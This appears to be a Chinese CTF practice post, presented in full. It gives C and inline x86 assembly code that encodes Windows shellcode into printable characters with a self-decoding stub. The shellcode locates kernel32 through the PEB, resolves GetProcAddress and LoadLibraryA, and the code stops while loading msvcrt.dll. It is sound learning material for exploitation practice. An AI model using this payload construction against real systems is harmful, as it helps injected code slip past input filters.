概述
最近做关于溢出的题目
有的题目,生成的shellcode由于含有特殊字符,不方便让程序读取
于是将之前生成shellcode的加密解密部分稍微修改了一下
思路大概如此,以后需要用到什么样的shellcode自己修改加密解密程序生成就是了
1 #include <stdio.h> 2 #include <string.h> 3 #include <stdlib.h> 4 #include <windows.h> 5 6 //#define Debug 1; 7 8 #define Legal_Begin 0x20 //从0x20开始的可以打印 9 //其中Legal_Begin用作特殊标记 10 #define Legal_End 0x7E //到0x7E结束 11 12 #define Enc_key 0x7A //编码密钥 13 #define FLAG_AVOID 0x30 //需要回避的字符的标记 14 15 #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 16 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 17 #define PROC_END PROC_BEGIN 18 #define BEGINSTRLEN 0x08 //开始字符串长度 19 #define ENDSTRLEN 0x08 //结束标记字符的长度 20 #define nop_CODE 0x90 //填充字符 21 22 #define MAX_Enc_Len 0x400 //加密代码的最大长度 1024足够? 23 #define MAX_Sh_Len 0x2000 //hellCode的最大长度 8192足够? 24 25 #define MY_SUCCEED 0 26 #define MY_NO_BEGIN 1 27 #define MY_NO_END 2 28 #define MY_MALLOC_ERR 3 29 30 #define MY_AVOID 0 31 #define MY_NO_AVOID 1 32 33 void Dcrypt(void); 34 void Shellcode(void); 35 36 //将函数func的代码放到buffer指向的内存中 37 //其中buffer指向的内存是动态分配的 38 //func_len指向buffer的长度 39 int get_func_code(char** buffer,//存放func的代码 40 char* fun, //函数首地址 41 int* func_len //指向buffer长度 42 ); 43 44 //打印对应的错误信息 45 void print_iRet(int iRet, char* func_name); 46 47 int is_legal(char ch);//判断一个字符是否要回避 48 49 int Encrypt_Shell(char** buffer,//存放加密过后的字节码 50 char* fun, //原Shellcode的字节码 51 int old_len,//原Shellcode的长度 52 int* new_len //加密后字节码的长度 53 ); 54 void my_print_Shellcode(char* Shellcode, int len);//打印最终的Shellcode 55 56 int main(int argc, char* argv[]) 57 { 58 //取得加密函数字节码 59 int Dcrypt_len = 0; 60 char* Dcrypt_buffer = NULL; 61 int iRet = get_func_code(&Dcrypt_buffer, (char*)Dcrypt, &Dcrypt_len); 62 print_iRet(iRet, "Dcrypt字节码"); 63 64 //取得Shellcode字节码 65 int Shell_len = 0; 66 char* Shell_buffer = NULL; 67 iRet = get_func_code(&Shell_buffer, (char*)Shellcode, &Shell_len); 68 print_iRet(iRet, "Shellcode原始字节码"); 69 70 //将Shellcode字节码加密 71 char* Shell_Encrypt_buffer = NULL; 72 int Shell_Encrypt_len = 0; 73 iRet = Encrypt_Shell(&Shell_Encrypt_buffer, Shell_buffer, Shell_len, &Shell_Encrypt_len); 74 print_iRet(iRet, "Shellcode加密后的字节码"); 75 76 //打印整体Shellcode的字节码 77 char* print_buffer = (char*)malloc(Dcrypt_len + Shell_Encrypt_len); 78 memcpy(print_buffer, Dcrypt_buffer, Dcrypt_len); 79 free(Dcrypt_buffer); 80 memcpy(print_buffer + Dcrypt_len, Shell_Encrypt_buffer, Shell_Encrypt_len); 81 free(Shell_buffer); 82 free(Shell_Encrypt_buffer); 83 my_print_Shellcode(print_buffer, Dcrypt_len + Shell_Encrypt_len); 84 free(print_buffer); 85 return 0; 86 } 87 88 void Dcrypt(void) 89 { 90 PROC_BEGIN 91 __asm 92 { 93 pushad 94 jmp next 95 getEncCodeAddr: 96 pop edi 97 push edi 98 pop esi 99 xor ecx,ecx 100 Decrypt_lop: 101 lodsb 102 cmp al,cl 103 jz save 104 cmp al,Legal_Begin //判断是否为特殊字符 105 jz special_char_clean 106 store: 107 stosb 108 jmp Decrypt_lop 109 special_char_clean: //这里要特殊注意一下,看指令里会不会包含特殊字符 110 lodsb 111 and al,0x0f; 112 shl al,0x4; 113 mov bl,al; 114 lodsb 115 and al,0x0f; 116 add al,bl; 117 jmp store 118 save: 119 popad 120 jmp shell 121 next: 122 call getEncCodeAddr 123 shell: 124 //其余真正加密的shellcode代码会连接在此处 125 } 126 PROC_END 127 } 128 129 void Shellcode(void) 130 { 131 PROC_BEGIN 132 #ifdef Debug 133 __asm _emit 0x1 134 __asm _emit 0x2 135 #endif 136 137 #ifndef Debug 138 139 void* hkernerl32 = NULL; 140 void* huser32 = NULL; 141 void* hmsvcrt = NULL; 142 143 void* pGetProcAddress = NULL; 144 void* pLoadLibrary = NULL; 145 void* pExitProcess = NULL; 146 void* pMessageBoxA = NULL; 147 void* psystem = NULL; 148 149 //LoadLibrary("kernel32"); 150 _asm 151 { 152 //保存寄存器 153 pushad; 154 155 //获得kernerl32基地址 156 mov eax, fs:0x30 ;PEB的地址 157 mov eax, [eax + 0x0c] ;Ldr的地址 158 mov esi, [eax + 0x1c] ;Flink地址 159 lodsd 160 mov eax, [eax + 0x08] ;eax就是kernel32.dll的地址 161 mov hkernerl32,eax; 162 163 //获得GetProcAddress地址 164 push ebp; 165 mov ebp, hkernerl32 ;kernel32.dll 基址 166 mov eax, [ebp+3Ch] ;eax = PE首部 167 mov edx,[ebp+eax+78h] 168 add edx,ebp ;edx = 引出表地址 169 mov ecx , [edx+18h] ;ecx = 输出函数的个数 170 mov ebx,[edx+20h] 171 add ebx, ebp ;ebx =函数名地址,AddressOfName 172 search: 173 dec ecx 174 mov esi,[ebx+ecx*4] 175 add esi,ebp ;依次找每个函数名称 176 ;GetProcAddress 177 mov eax,0x50746547 178 cmp [esi], eax; 'PteG' 179 jne search 180 mov eax,0x41636f72 181 cmp [esi+4],eax; 'Acor' 182 jne search 183 ;如果是GetProcA,表示找到了 184 mov ebx,[edx+24h] 185 add ebx,ebp ;ebx = 序号数组地址,AddressOf 186 mov cx,[ebx+ecx*2] ;ecx = 计算出的序号值 187 mov ebx,[edx+1Ch] 188 add ebx,ebp ;ebx=函数地址的起始位置,AddressOfFunction 189 mov eax,[ebx+ecx*4] 190 add eax,ebp ;利用序号值,得到出GetProcAddress的地址 191 pop ebp; 192 mov pGetProcAddress,eax; 193 194 //获得LoadLibraryA地址 195 //push strLoadLibrary;"LoadLibraryA" 196 call _getLoadLib 197 _emit 0x4C 198 _emit 0x6F 199 _emit 0x61 200 _emit 0x64 201 _emit 0x4C 202 _emit 0x69 203 _emit 0x62 204 _emit 0x72 205 _emit 0x61 206 _emit 0x72 207 _emit 0x79 208 _emit 0x41 209 _emit 0x0 210 //db "LoadLibraryA",0 211 _getLoadLib: 212 push hkernerl32; 213 mov eax,pGetProcAddress; 214 call eax; GetProcAddress 215 mov pLoadLibrary,eax; 216 pop eax; 217 pop eax; 平衡堆栈 218 219 //下面是自己的实验 220 //LoadLibraryA("msvcrt.dll") 221 //push strmsvcrt 222 call _getmsvcrt 223 _emit 'm' 224 _emit 's' 225 _emit 'v' 226 _emit 'c' 227 _emit 'r' 228 _emit 't' 229 _emit '.' 230 _emit 'd' 231 _emit 'l' 232 _emit 'l' 233 _emit '